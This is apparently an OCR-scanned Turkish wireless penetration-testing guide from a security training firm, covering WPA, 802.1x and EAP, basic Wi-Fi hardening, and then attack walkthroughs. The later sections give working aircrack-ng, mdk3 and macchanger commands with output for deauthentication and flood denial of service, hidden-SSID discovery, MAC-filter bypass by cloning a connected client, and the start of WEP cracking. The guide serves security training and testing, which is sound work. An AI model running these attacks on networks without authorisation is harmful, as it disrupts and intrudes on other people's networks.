CCMP, AES alinarak verilerin sifrelenmesi igin tasarlanan bir sifreleme protokolldir. WEP ve TKIP’ye gére
daha giivenlidir. Glvenlik adina getirdigi yenilikler;

e Veriglivenligi: Sadece yetkili kisimlar tarafindan erisilebilir.

e Kimlik dogrulama: Kullanicinin ‘gergekligini’ dogrulama olanagi verir

e Erisim kontroll: Katmanlar arasi baglanti/yonetim gelistirilmistir.
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802.1x

Kablolu ve kablosuz aglar icin IEEE tarafindan belirlenen bir standarttir. Aga dahil olmak isteyen cihazlar igin
port bazli bir denetim mekanizmasidir. Bu denetim kimlik dogrulama(authentication) ve
yetkilendirme(authorization) adimlarini kapsar.

3 bilesenden olusur:

1- Supplicant; aga dahil olmak isteyen sistem,

2- Authenticator; genelde switch veya AP(erisim noktasi)

3- Authentication server; RADIUS, EAP gibi protokolleri destekleyen bir yazilimdir.

Authenticator 2 Authentication server
RADIUS / Diameter

Supplicant

Internet or other LAN resources

Bir kullanici aga dahil olmak istediginde kullanici adi/parola veya dijital bir sertifikayr authenticator’a
gonderir. Authenticator’da bunu Authentication server’a iletir. iletim isleminde EAP metotlari kullanilir.
Ozellikle kurumsal aglarda yiizlerce, binlerce kullanici icin sadece bir tane parola bilgisiyle aga dahil etmek
beraberinde bagka sikintilarda getirebilir. Bu nedenle biiylik aglarda WPA - Enterprise kullanilir. Calisanlar
Active Directory/LDAP’tan kontrol edilen kullanici adi/parola bilgileriyle aga dahil olabilirler.

EAP(Extensible Authentication Protocol)

EAP kimlik denetimi icin bir cok metot barindiran bir protokoldiir. EAP ¢atisi altinda en bilinen metotlar;

EAP-PSK, EAP-TLS, LEAP, PEAP.

EAP cesitleri

EAP-TLS: Kablosuz aglarda kimlik dogrulama igin standart ve en giivenli metottur. Sertifika veya akilli kart
kullanilan aglar igin elzemdir.

LEAP: Cisco tarafindan gelistirilmis bir kimlik dogrulama metodudur. MS-CHAP’in degistirilmis bir versiyonu
gibidir. Zafiyet barindiran bir metottur ve ancak gigli bir parola ile kullaniimalidir. Asleap adl arag bu
metodun istismari icin kullanilabilir.

Yerini yine Cisco tarafindan gelistirilen EAP-FAST’e birakmistir.

PEAP: Sadece sunucu tarafli PKI sertifikasina ihtiya¢ duyar. Kimlik dogrulama glvenligi icin TLS tunel
Uzerinden bilgiler iletilir.
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Kablosuz Aglarda Giivenlik Onlemleri

Kablosuz aglardaki en temel giivenlik problemi verilerin hava ortaminda serbestce dolasmasidir. Normal
kablolu aglarda switch kullanarak giivenlik fiziksel olarak saglanabiliyor ve switch’e fiziksel olarak bagh
olmayan makinelerden korunmus olunuyordu. Oysaki kablosuz aglarda tim iletisim hava ortaminda
kurulmakta ve veriler gelisiglizel ortalikta dolagsmaktadir.

Erisim noktasi Ontanimh Ayarlarinin Degistirilmesi

Kablosuz aglardaki en biyilik risklerden birisi alinan erisim noktasi cihazina ait dntanimh ayarlarin
degistiriimemesidir. Ontanimli ayarlar erisim noktasi ismi, erisim noktasi ydnetim konsolunun herkese acik
olmasi, yoénetim arabirimine giriste kullanilan parola ve sifreli aglarda agin sifresidir. Yapilan arastirmalarda
kullanicilarin gogunun bu ayarlari degistirmedigi goralmustar.

Kablosuz aglarin glivenligine dair yapilmasi gereken en temel is 6ntanimli ayarlarin degistirilmesi olacaktir.

Erisim Noktasi ismini Goriinmez Kilma: SSID Saklama

Kablosuz aglarda erisim noktasinin adini(SSID) saklamak alinabilecek ilk temel glivenlik 6nlemlerinden
biridir. Erisim noktalari ortamdaki kablosuz cihazlarin kendisini bulabilmesi icin devaml anons ederler.
Teknik olarak bu anonslara “beacon frame” denir. Glvenlik énlemi olarak bu anonslari yaptirmayabiliriz ve
sadece erisim noktasinin adini bilen cihazlar kablosuz aga dahil olabilir. Boylece Windows, Linux da dabhil
olmak Uzere birgok isletim sistemi etraftaki kablosuz ag cihazlarini ararken bizim cihazimizi géremeyecektir.

SSID saklama her ne kadar bir énlem olsa da teknik kapasitesi belli bir diizeyin tzerindeki saldirganlar
tarafindan rahatlikla 6grenilebilir. Erisim noktasinin WEP ya da WPA protokollerini kullanmasi durumunda
bile SSID’lerini sifrelenmeden gonderildigini dlsiinirsek ortamdaki kotd niyetli birinin 6zel araglar
kullanarak bizim erisim noktamizin adini her durumda 6grenebilmesi mimkdnddar.

Erisim Kontroli

Standart kablosuz ag givenlik protokollerinde aga giris anahtarini bilen herkes kablosuz aga dahil olabilir.
Kullanicilarinizdan birinin WEP anahtarini birine vermesi/galdirmasi sonucunda WEP kullanarak giivence
altina aldigimiz kablosuz agimizda glivenlikten eser kalmayacaktir. Zira herkeste ayni anahtar oldugu igin
kimin aga dahil olacagini bilemeyiz. Dolayisi ile bu tip aglarda 802.1x kullanmadan tam manasi ile bir
glvenlik saglanamayacaktir. 802.1x kullanilan aglarda su an igin en biylk atak vektorl sahte kablosuz ag
yayinlaridir.

MAC tabanli erisim kontrolii

Piyasada yaygin kullanilan erisim noktasi(AP) cihazlarinda giivenlik amagl konulmus bir 6zellik de MAC
adresine gore aga dahil olmadir. Burada yapilan kablosuz aga dahil olmasini istedigimiz cihazlarin MAC
adreslerinin belirlenerek erisim noktasina bildiriimesidir. Boylece tanimlanmamis MAC adresine sahip
cihazlar kablosuz agimiza baglanamayacaktir. Yine kablosuz aglarin dogal ¢alisma yapisinda verilerin havada
ugustugunu goz online alirsak aga bagli cihazlarin MAC adresleri -ag sifreli dahi olsa- havadan gececektir,
"burnu kuvvetli koku alan" bir hacker bu paketleri yakalayarak izin verilmis MAC adreslerini alabilir ve kendi
MAC adresini kokladigi MAC adresi ile degistirebilir.
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Linux/0S X altinda MAC Adresinin Degistirilmesi

Linux/0S X altinda MAC adresi degistirmek bize bir komut kadar uzaktadir.

# ifconfig ethl hw ether 00:10:09:AA.54:09:56

Ya da mac-changer ile MAC adresi degisimi yapilabilir.

macchanger kullanarak MAC adresi degistirme adimlari

#ifconfig ethO down
#macchanger -m 00:11:22:33:44:55 eth0

#ifconfig ethO up

Windows altinda MAC Adresinin Degistirilmesi

Windows altinda MAC adresini degistirmek icin Computer -> Manage -> Device Manager (zerinde network
adaptori bulunur ve Properties -> Advanced sekmesinden Network Address degeri degistirilir.

Realtek RTLE168C(P)/8111C(P) PCI-E Gigabit 2
Gereral | Diiver | Rescurces | Power Mansgement |
The properties are avalable for this network adapter. Tk
the pe want to change on the left, and then select s value
on the nght.
Propety: Value

Otfioad Check sum
Oifload TCP_LargeSend

Wake OnLan Capabidities

~ IDO}T:BA%’BS

802 10/1pLAN Tagong
Flow Conty
Jumbo Fi
Link Spee: x Mode

" Not Present

‘WakeOnLan Ater Shutdown

WOL & Shutdown Link Speed

| OK I Cancel

Sifreleme Metodu

Kablosuz aglarda trafigin baskalari tarafindan izlenmemesi icin alinmasi gereken temel 6nlemlerden biri de
trafigi sifrelemektir. Kablosuz aglarda sifreleme WEP(wired equivalent privacy) ve WPA(Wi-Fi Protected
Access) olarak adlandirilan iki protokol Gizerinden yapilir. Her iki protokol de ek giivenlik énlemleri alinmazsa
glinimizde glvenilir kabul edilmez. Internette yapilacak kisa bir arama ile Linux altinda uygun bir kablosuz
ag adaptord kullanilarak tek komutla WEP korumali aglara nasil sizildigi izlenebilir.
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Bugiine kadar WEP kullananlara hep WPA’ya gecmeleri ve uzun karmasik parola segcmeleri 6nerilirdi. Zira
WPA, WEP’in zayif kaldigi noktalari gliclendirmek igin yazilmis bir protokoldi. Fakat 2008’in son aylarinda iki
Universite 6grencisinin yaptigl calisma, pratikte WPA’'nin ~15 dakika da kirilabilecegini ispat etmis oldu.
Aslinda calisma WPA’da degil WPA'nin kullandigi TKIP(emporal Key Integrity Protocol) bilesenindeki
acikliktan kaynaklaniyordu. Dolayisi ile WPA ve AES sifreleme kullanarak gercek manada givenlik elde

etmek su an icin mimkiindur denebilir.

Sonug olarak ;

Erisim noktalarinin 6ntaniml ayarlari mutlaka degistirilmelidir.

Sifreleme olmadan gilivenlik olmaz.

AP ile istemci arasindaki MAC adresleri her durumda acik bir sekilde gider.

MAC filtrelemeye gilivenlilmemelidir: MAC adreslerini degistirmek oldukga kolaydir.
WEP/WPA ile korunmus aglar ek glivenlik 6nlemleri alinmazsa glivenli degildir.

Katmanh glvenlik anlayisi geregince yukarida anlatilan yontemlerin uygulanmasi glivenliginizi bir adim

daha arttiracaktir.
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Kablosuz Ag Giivenlik Testleri

Kablosuz aglar yazinin basinda da bahsedildigi gibi internet kullanimi evlere girdiginden beri yiikselen bir
kullanima sahip oldu. Glinimiizde evlerde, isyerlerinde, kurumlarda ve sokaklarda kablosuz aglar internete
ulasmanin vazgecilmez ve kolay bir yolu oldu. Bu kolaylik beraberinde bir ¢ok givenlik riskini de
beraberinde getirdi. Riskler, kablosuz aglarda kullanilan protokollerden, o6zelliklerden ve kullanicilarin
bilingsizliginden kaynaklanmaktadir. Ozellikle kablosuz aglara yapilabilecek bir ¢ok saldiri kiigiik bazi
numaralarla anonim olarak gerceklestirilebilir. Bu durum saldirganlarin cesaretini ve risk seviyesini artirici
bir etki yapar.

Kablosuz Aglarda Kesif Calismalari

Kablosuz aglarda kesif yakin cevrede bulunan erisim noktalarinin tespitidir. isi abartip WLAN araglarini
arabalarina alarak ya da yaya olarak yol boyunca etrafta bulunan kablosuz aglari kesfetmeye yonelik
¢alismalara Wardriving, erisim noktalarinin 6zelliklerine gore (sifreleme destegi var mi? Hangi kanalda
¢ahistyor vs) bulunduklari yerlere gesitli isaretlerin gizilmesine ise WarChalking deniyor.

War driving i¢in gesitli programlar kullanilabilir fakat bunlardan en énemlileri ve is yapar durumda olanlari
Windows sistemler igin Netstumbler, Linux sistemler i¢cin Kismet'dir. Kismet ayni zamanda Windows isletim
sisteminde monitor mode destekleyen kablosuz ag arabirimleri ile de ¢alisabilmektedir.

Kablosuz aglarda kesif, pasif ve aktif olmak tzere ikiye ayrilir. Adindan da anlasilacagi gibi aktif kesiflerde
kesif yapan kendisini belirtir ve aktif cihazlari aradigini anons eder. Pasif kesif tlriinde ise tam tersi bir
durum s0z konusudur. Pasif kesif gerceklestiren cihaz kesinlikle ortama herhangi birsey anons etmez,
sadece ortamdaki anonslari dinleyerek aktif ama gizli cihazlari belirlemeye ¢alisir.

Aktif kesif araclarina en iyi érnek NetStumbler verilebilir. Ucretsiz olarak kullanilabilen Netstumbler
cahistirildiginda kapsama alaninda anons yapan tiim aktif cihazlari bularak bunlari raporlar.

Netstumblerin ¢alismasi ya da bir erisim noktasini kesfetmesi icin erisim noktasinin kendisini anons etmesi
lazimdir. Yani basit glivenlik 6nlemi olarak aldigimiz SSID saklama islemi Netstumbler’i sasirtacaktir.

Pasif kesif araci olarak kullanilabilen Kismet ise Netstumbler’a gore oldukga fazla 6zellik igerir ve kot niyetli
birinin elinde tam donanimli gizli bir silaha dénisebilir.

Kismet, kablosuz ag adaptoérlerine 6zel bir modda calistirarak(monitor mode) etrafta olan biteni izler ve
kaydeder. Boylece bulundugu ortamdaki tiim trafigi gorerek aktif, pasif erisim noktasi cihazlarini tim
Ozellikleri ile birlikte belirler. Sadece erisim noktasi cihazlarini belirlemekle kalmaz, bu cihazlara bagh tiim
istemci cihazlari ve 6zeliklerini de belirleyebilir daha da 6tesinde sifreleme kullaniimiyorsa tim trafigi dinler.

Kesif islemi ile ilgili neler elde edilebilir?
e Kablosuz ag sifreli ise sifreleme protokoli(WEP/WPA/WPA2)
® Aga bagl istemcilerin MAC adresleri

Kablosuz ag sifresiz, acik bir yayin yapiyorsa asagidaki tim basliklar fiziksel olarak o ortamdaki bir istemci
tarafindan ag arabirimini monitor moda alarak elde edilebilr.

® Mac adresleri

e |P adresleri
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e Bilgisayar isim ve markalari
e Ortamdaki TCP/UDP tum trafik

Goriinmez(Gizli SSID’ye sahip) Kablosuz Aglarin Kesfi

Eger SSID gizlendiyse Wireshark Beacon framelerde “SSID= " gibi goriiriiz. Bazi kablosuz ag tarama
araglari ise SSID yerine <Length 8> gibi ifadeler yazar. Bu SSID’nin 8 karakterden olustugunu gosterir. Gizli
SSID’yi tespit etmek igin dnce ayni kanala gegilir.

iwconfig mon0 channel 11

iki metot vardir: Pasif ve aktif.

e Pasif olarak 6grenmek igin bir istemcinin AP’ye baglanmasini bekleyebiliriz. istemci baglandiginda
icinde SSID yazili Probe Request gonderir. AP de cevap olarak SSID’nin yazili oldugu Probe
Response gonderir.

e Aktif olarak aireplay-ng ile Deauthentication paketleri yollayip clientlarin baglantisi diistiriilmeye
cahsilir.

l.Metot
Aktif metot:

aireplay-ng -0 5 -a 18:28:61:3b:3b:1c mon0

-a AP’nin MAC adresidir.
-0 Deauthentication paketi sayisidir. Sayi olarak 0 yazilirsa stirekli génderilir.

Deauth. paketleri gérmek icin WSda wlan.fc.type_subtype==0x0c filtresi uygulanir.

Ekran gorintisinde belirtilen kisim bir Probe Request framedir. SSID’nin BGA_Wifi oldugu goriilir.
Oncesindeki Deauthentication ve sonrasinda gelen Probe Response frameleri gériilebilir.
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Uygulamalar Yerler @& 7 Grs Nis 16, 18:55:33 * & @ oot

Capturing from monO [Wireshark 1.8.5 ] - | O

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
e & @ Qe 23T EB sl E0EE 8

Filter: ’):1(:a8:ld:0b:a4) && ! (wlan.fe. )/ oaTy ==0x0! C | Expression... Clear Kaydet

No. Time Source Destination Protocol Length Info (!
BU/798 999.030447000CALTLIESW_1U? Broaacastc BuZ. 11 35 veduLnencticdeLorn, sSN=3335, FN=U, 3=t s esesas
80799 999.53152500C A1rtiesw_1d: Broadcast 802.11 39 Deauthentication, SN=3335, FN=0, Flags=........
80800 999.53268100C AlrtiesW_1d: Broadcast 802.11 38 Deauthentication, SN=3336, FN=0, Flags=........
999.53366700C Alrtiesw_1d: Broadcast 802.11 39 Deauthentication, SN=3336, FN=0, Flags=........
k 008. 8220C A adya \1rties d 02 80 Probe Request SN - F S I D=BGA 1T1
81011 1008.1927680C A1rtiesW_1d:0b:ad Arcadyan_e9:b4:d 802.11 133 Probe Response, SN=2259, FN=0, Flags=........ C, BI=200, SSID=BGA_Wifi
81013 1008.1929640C Arcadyan_e9:b4:df Alrtiesw_1d:0b:a.802.11 60 Authentication, SN=1, FN=0, Flags=........ [
81015 1008.1937110CAirtiesW_ld:0b:ad Arcadyan_e9:b4:d 802.11 60 Authentication, SN=2260, FN=0, Flags=........ C
81019 1008.2946610C Arcadyan_e9:b4:df AirtieswW_ld:0b:a.802.11 106 Assoclation Request, SN=2, FN=0, Flags= ...C, SSID=BGA_Wifi
81021 1008.2965910C AlrtieswW_l1d:0b:ad Arcadyan_e9:b4:d 802.11 76 Association Response, SN=2261, FN=0, Flags=........ C H
81023 1008.2982310C A1rtiesW_1d:0b:ad Arcadyan_e9:b4:d EAPOL 161 Key (Message 1 of 4)
21025 1008.2982430C Arcadvan e9:ha:df Airtiesw 1d:0b:a FAPOI 183 Kev (Messaae 2 of 4) D]
(@l I 1)
A GUE T I W TS CS U S NG T S TS TGS @
v Tagged parameters (26 bytes)
v Tag: SSID parameter set: BGA_Wifi
Tag Number: SSID parameter set (0)
Tag length: 8
< Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec] H
Tag Number: Supported Rates (1)
Tag length: 8
Supported Rates: 1(B) (0x82) S

Sunnartad Datac: 2(D) [(nvoa)
0000 00 00 la 00 2f 48 00 00 a4 dl 1f 48 00 00 00 0O
0010 10 02 9e 09 a0 00 c3 00 00 00 40 00 3a Ol 00 1lc
0020 a8 1d Ob a4 00 23 08 e9 b4 df 00 1c a8 1d ob a4
0030 00 00 00 08 01 08 82 84
0040 8b 96 Oc 12 18 24 32 04 30 48 60 6¢c 10 35 a7 54

O® Indicates the identity of an ESS or ... ~ Packets: 82659 Displayed: 66570 Marked: O Profile: Default

root@Kkali: ~ [root@Kkali: ~] B Capturing frommon... T 1698 196.889523. root@kali: ~ T 11940 847.06905

(wlan.bssid == 18:28:61:3b:3b:1c) && !(wlan.fc.type_subtype == 0x08)
Bu filtre ile Deauthentication, Probe Request ve Probe response frameleri goralir.

Il.Metot
Ayni islem airmon-ng ve Kismet araglari kullanarak pasif modda da yapilabilir. airmon-ng ile monitor moda
gecip Kismet ile ortamdaki paketleri dinlemeye baslayinca, Kismet gizli SSIDye sahip AP’lerin MAC
adreslerini Probe Request ve Probe Response’larla iliskilendirir ve otomatik olarak gizli SSID’yi tespit
edebilir.

airmon-ng start wlanl

kismet

Baslangigta gizli SSID su sekilde listelenmis.
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kali

Elapsed
00:00.22

Networks
12

Packets
129

Pkt/Sec
2

Filtered
(0]

Cift tiklayarak detayl goriintllenir ve beklemeye baslanir.

Network View
-40 B signal

Name: <Hidden SSID>
BSSID: 00:1 8:1D:0B: A4
Manuf: Airties
First Seen: May 31 19:04:33
Last Seen: May 31 19:09:00
Type: Access Point (Managed/Infrastructure)
Channel:
Frequency: 2412 30 packets, 5.54%
61 packets, 11.25%
41 packets, 7.56%
37 packets, 6.83%
48 packets, 8.86%
31 packets, 5.72%
46 packets, 8.49%
1 packets, 0.18%
5 packets, 0.92%
- 40 packets, 7.38%
- 137 packets, 25.28%
- 61 packets, 11.25%
- 4 packets, 0.74%

)
)
)
)

SSID: (Cloaked)
Length: 0O
Type: Beacon (advertising AP)
Encryption: WPA TKIP PSK

Yeni bir istemci gizli SSID’ye sahip AP’ye baglandiginda Kismet otomatik olarak SSID’yi tespit eder.

Network View
T) B signal

Name: <AIRTIES_RT-205>
BSSID: 00:1C :1D:0B: A4
Manuf: Airties
First Seen: May 31 19:04:33
Last Seen: May 31 19:09:18
Type: Access Point (Managed/Infrastructure)
Channel: 11
Frequency: 2412
2417
2422
2427
2432
2437
2442
2447
2452
2457
2462
2467
2472

33 packets, 5.39%

- 82 packets, 13.40%
- 49 packets, 8.01%
41 packets, 6.70%

- 50 packets, 8.17%

- 36 packets, 5.88%

- 48 packets, 7.84%

- 1 packets, 0.16%

- 7 packets, 1.14%

49 packets, 8.01%
139 packets, 22.71%
71 packets, 11.60%
6 packets, 0.98%

O

RIS S B 00N U WN e
w N -

SSID: (Cloaked)
Probable Decloak: AIRTIES_RT-205
Length: ©
e: Beacon (advertising AP)
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Kablosuz Aglarda Trafik Dinleme ve Analizi
Kablosuz aglarda veriler havada ugustugu icin dinleme yapmak kablolu aglara gore daha kolaydir. Amaca

uygun kullanilan bir dinleme araci ile bir kablosuz agdaki trafik aga dahil olmadan rahatlikla izlenebilir. Linux
sistemlerde kablosuz ag trafigi dinlemek icin Kismet adli program tercih edilir.

Kismet, monitoring (rfmon) mod destekleyen kablosuz ag arabirimleri igin diisiinilmis 802.11b, 802.11a ve
802.11g protokolleri ile uyumlu kablosuz aglarda pasif dinleme yapmaya yarayan bir aragtir. Ayni zamanda
kablosuz aglar icin pasif kesif araci olarak ve basit manada saldiri tespit sistemi olarak da kullanilabilir.

Kismet ile dinleme yapilirken etraftaki erisim noktalari ya da istemciler rahatsiz edilmez. Tamamen pasif
modda bir dinleme yapildigi icin kablosuz aglari korumaya yoénelik bazi saldiri tespit sistemleri kolaylkla
aldatilabilir. Ozellikle sifresiz bir iletisim yéntemi tercih edilmisse Kismet bu noktada kablosuz agdaki tim
herseyi gorebilir.

Kismet ve ek bir iki arac¢ kullanilarak MAC adres tabanh glivenlik 6nlemi alinmis kablosuz aglara kolaylikla
giris yapilabilir.

Kismet Wireless Sniffer Kullanimi

Kismet agik kaynak kodlu kablosuz ag analiz programidir. 802.11 a/b/g protokollerini destekler ve Linux,
UNIX ve Windows ortamlarinda galigir.

Kismet'in ¢alisabilmesi igin kablosuz ag kartinizin “monitor mode” destegi olmahdir.

Monitor mode: Kablosuz aglarda 6zel bir moddur ve ilgili arabirimin aga dahil olmadan tim paketleri
izleyebilmesini saglar.

Kismet'in en onemli 6zelliklerinden biri pasif olarak kablosuz ag kesfi yapabilmesi ve kesif esnasinda iz
birakmamasidir. Netstumbler gibi araglar kesif esnasinda etrafa paket yaydiklari igin iz birakirlar.

Kismet istemci-sunucu mimarisinde calisir ve kismet_server ve kismet_client adli iki farkli programdan
olusur. Kismet_server asll isi yapan yani trafigi izleyip kaydeden, kismet_client ise kismet_server tarafindan
yapilan islemlerin kullanici tarafindan izlenmesine olanak veren arabirimdir.
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Kablosuz Aglara Yonelik Saldiri Cesitleri

Kablosuz Aglara Yonelik DoS Saldirilan
WEP'ten sonra WPA ve WPA2 ile kablosuz aglarda CCMP kullanilarak giivenlik standarti yiikseltilsede, bu

koruma sadece data framelere uygulanabiliyordu. Management frameler ile ilgili bir islem ise yoktu. Yani
management frameler sifresiz ve manipule edilebilir durumdadir. Man. framlerin bu 6zelligi! kablosuz aglar
Dos ataklara agik birakmaktadir.

Gergek hayatta karsilasilan bir cok Dos atak ¢esidi(HTTP Flood, TCP SYN flood, ICMP flood) kablosuz aglarda
da uygulanabilir. Ancak kablosuz aglara 6zel olan DOS saldirilarida vardir. Bu saldirilar OSI modelinde,
iletisimin frame(cerceve)ler ile saglandigi 2.katmaninda(Data link layer) uygulanir. (Fiziksel katmanda
jammerlar ile sinyaller bozularakta iletisim engellenebilir.)

Yapilan saldirilar authentication/association flood ve deauthentication/disassociation flood seklindedir.

Bir istemci AP ile baglanti kurma asamasi kabaca su sekilde gergeklesir:
1. istemci Authentication isteginde bulunur.
2. AP authentication cevabi yollar.
3. listemci assocation isteginde bulunur.
4. AP assocation cevabi yollar.

Association islemi icin authentication sarttir. Bir istemci birden fazla sisteme authentication kurmus olabilir
ancak sadece bir AP ile association kurabilir.

Saldirtyi belli bir kullaniciya(bilgisayara) yonlendirmek igin bu islemlerden dnce airodump-ng, Kismet gibi
araglarla hedef kablosuz aga bagli kullanicilara kesif ¢alismasi yapilabilir.

(Bu saldirilar iletisimi bir siire kesintiye ugratabilir, AP’yi yeniden baslatmak gerekebilir. )

Authentication atak igin;

mdk3 mon0 a -m -i F8:D1:11:40:D2:8E

Deauthentication frame, istemci veya AP tarafindan baglantiyi sonlandirmak amaciyla génderilir.
Deauthentication atak yapmasi ¢ok kolaydir. Bunun igin mdk3 kullanilmistir. Broadcast MAC adrese
gonderilecek sahte frameler ile kablosuz aga baglh tim istemciler agdan dusrilebilir. -b ile
deauthentication saldirisi yapilacak MAC adreslerinin oldugu dosya okutulur.

mdk3 monO0 d -b mac_adresi_listesi -c 4
aireplay-ng --deauth 20 -a 00:1F:D4:01:6A:C8 -c 00:27:10:5C:08:18 mon0

Association flood:

AP association saglanmis her istemci icin bir tablo tutar. Bu tarz atakta sinirli bellege sahip tablonun
doldurulmasi ve yeni istemcilerin baglananamasi amaglanir. Bunun igin siirekli degisen MAC adresleri ile
AP'ye association istekleri gonderilir.
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IEEE 802.11w ile management frameler sifreli olarak godnderilebilmektedir. Ancak bu standart heniz
yayginlagmamistir.

Mac Adres Filtreleme Onlemlerinin Atlatiimasi

Kablosuz ag icin uygulanabilecek giivenlik dnlemlerinden biriside MAC adresi filtrelemesidir. Bir cok
switch/modem tarafindan desteklenen bu 6zellikle sadece istenen MAC adreslerinin kablosuz aga
baglanmasi saglanabilir. Ancak bu koruma aga bagl kullanicilar tespit edilerek atlatilabilir.

1. adim aga baglanma yetkisi olan istemcilerin tespiti
2. adim aga baglanma yetkisi olan mac adreslerinin klonlanmasi

3. adim erisim izni olan mac adresi ile birlikte aga baglanma denemesi

Asagidaki gibi hedef kablosuz aga bagh kullanici bilgileri sniff edilmeye baslanmistir.

airodump-ng monO --bssid 18:28:61:3B:3B:1E -c 3

Aga bagli goziiken 4 kullanicidan sadece ortada bulunan 2 tanesinin MAC adresleri modem Uzerinde
tanimlanmigtir. Hedef olarak 00:23:08:E9:B4:DF MAC adresli kullanici alinmugtir.

CH 3 ][ Elapsed: 1 min ][ 2014-05-15 19:40 ][ fixed channel mon0: -1
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

18:28:61:3B:3B:1E -35 100 366 355 0 3 54e WPA2 CCMP PSK Korsan

BSSID STATION PWR Rate Lost Frames Probe
18:28:61:3B:3B:1E AO0:F3:C1:27:BF:E8 0 0-1 0 1
18:28:61:3B:3B:1E 20:C9:D0:BF:7D:F1 -31 54e-54 0 226
18:28:61:3B:3B:1E 00:23:08:E9:B4:DF -46 54e-54e O 129
18:28:61:3B:3B:1E 28:BA:B5:39:C0:1D -49 0-1 0 4

Bu aga baglaniimak istendiginde asagidaki gibi Access Point: Not-Associated olarak géziikmektedir.

root@kali:~# iwconfig wlanl
wlanl IEEE 802.11bgn ESSID:"Korsan"
Mode:Managed Frequency:2.422 GHz Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

Atlatmak icin MAC adresimizi hedef olarak belirlenen MAC adresi ile degistiririz. Bunun yapabilmek igin
kablosuz aga bagl arayiiz down hale getirilir. MAC adresi degistirildikten sonra tekrar up yapilir.
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root@kali:~# ifconfig wlan1 down

root@kali:~# macchanger -m 00:23:08:E9:B4:DF wlanl

Permanent MAC: a0:f3:c1:27:bf:e8 (unknown)

Current MAC: a0:f3:c1:27:bf:e8 (unknown)

New MAC: 00:23:08:e9:b4:df (Arcadyan Technology Corporation)
root@kali:~# ifconfig wlanl up

Kablosuz aga tekrar baglaniimaya c¢alisildiginda sonug asagidaki gibi basarihidir.

wlanl IEEE 802.11bgn ESSID:"Korsan"
Mode:Managed Frequency:2.422 GHz Access Point: 18:28:61:3B:3B:1E
Bit Rate=54 Mb/s Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=70/70 Signal level=-36 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:232 Missed beacon:0

Bazen agda ayni MAC adresi oldugu igin IP alma konusunda sikintilar yasanabilir. Bunun i¢in MAC adresini
degistirmeden 6nce hedef istemciye 6zel deauthentication saldirisi yapilip agdan disurdlebilir.

root@kali:~# aireplay-ng --deauth 50 -a 18:28:61:3B:3B:1E -c 00:23:08:e9:b4:df mon0

50, gbnderilecek deauthentication paketlerinin sayisini
-a, APnin MAC adresini

-¢, hedef istemcinin MAC adresini ifade eder.

monO ise atagin yapildigi kablosuz ag araytiziddr.

BILGI GUVENLIGI AKADEMISI | © 2015 | www.bga.com.tr



[PENTEST GCALISMALARINDA KABLOSUZ AG GUVENLIK TESTLERI] E

Kablosuz Agda Sifreleme Protokolleri ve Kirma Calismalari

Kablosuz aglarda bilginin gizliligi ve glivenligi amach kullanilan 3 gesit sifreleme protokoll vardir. WEP igin
WEP, WPA igin TKIP ve WPA-2 icin CCMP sifreleme protokolleri data frameleri sifrelemek igin kullanilir. WEP
korumasi glinimiizde rahatlikla asilabilir bir glivenlik dnlemi haline gelmistir.

WEP/WPA/WPA2 karsilastirma tablosu

Kimlik Dogrulama Sifreleme
WEP Open/Shared Key WEP
WPA(Kisisel) PSK TKIP
WPA2(Kisisel) PSK AES- CCMP
WPA(Kurumsal) 802.1x TKIP
WPA2(Kurumsal) 802.1x AES-CCMP

WEP Protokolii Parola Kirma Calismalan
WEP parolalarinin kirma islemi, hedef AP’ye bagh istemci sistemin olup olmamasi, hangi paketlerin

toplandigi ve kirilma algoritmasina gore degisiklik gostermektedir.

Bu ¢alisma aircrack araglariyla Kali Gizerinde yapilmistir. Aircrack WEP parolasi kirmak igin varsayilan olarak
PTW metodunu kullanmaktadir. PTW metodunda parola kirma islemi toplanan ARP istek ve cevaplarina
gore yapilir. Clinkii ARP paketi bilinen bir boyuta ve génderilen MAC adresine(ff:ff:ff:ff.ff.ff:) sahiptir.

ilk olarak kablosuz ag adaptdriimiiziin bagh oldugu arayiiz monitor moda gegirilmelidir. Burada hedef AP 1.
kanalda galistigi icin, wlan1 arayiiziinden sonra kanal numarasi belirtilmistir.

airmon-ng start wlanl 1

islem basariliysa cevap:

Found 1 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e

PID Name

7301 dhclient

Interface Chipset Driver

wlanl Atheros AR9271 ath9k - [phy0]
(monitor mode enabled on mon0)
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Bu islemlerin yapilabilmesi icin kablosuz ag adaptériiniin injection desteklemesi gerekmektedir. Bundan
emin olmak i¢in asagidaki komut ¢ahstirilabilir.

aireplay-ng -9 -e BGA_Wifi -a F8-1A-67-50-70-3C mon0

Destekliyorsa asagidaki gibi gdziikecektir.

16:02:28 Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
16:02:28 Trying broadcast probe requests...

16:02:28 Injection is working!

16:02:30 Found 1 AP

16:02:30 Trying directed probe requests...

16:02:30 F8:1A:67:50:70:3C - channel: 1 - 'BGA_Wifi'

16:02:31 Ping (min/avg/max): 1.028ms/19.059ms/52.397ms Power: -34.37
16:02:31 30/30: 100%

ikinci olarak hedef AP’ye ait trafigi kaydetmek(yani IV’leri) amaciyla airodump-ng araci kullanilir.

airodump-ng -c 1 --bssid F8-1A-67-50-70-3C -w WEP_dump mon0O

Yukaridaki komutta

-c ile hedef AP’nin galistigl kanal,

-bssid ile hedef AP’nin MAC adresi,

-w ile trafigin kaydedilecegi dosya ismi belirtilir.

Eger WEP’te Open Authentication kullaniliyorsa tim istemciler AP’ye baglanabilir(authentication and
association). Ancak AP dogru WEP anahtariyla sifrelenmemis hi¢ bir paketi kabul etmeyecektir,
disirecektir. Bu nedenle hedef AP’ye paket enjeksiyonu yapabilmek icin 6ncelikle MAC adresimizin
authentication ve association asamalarini gegmesi gerekir. Bunu yaptigimizda AP paketlerimizi kabul eder
ve biz her paket gonderdigimizde yeni IV’ler Uretilir. Baska bir terminalde asagidaki komut ¢alistirilir.

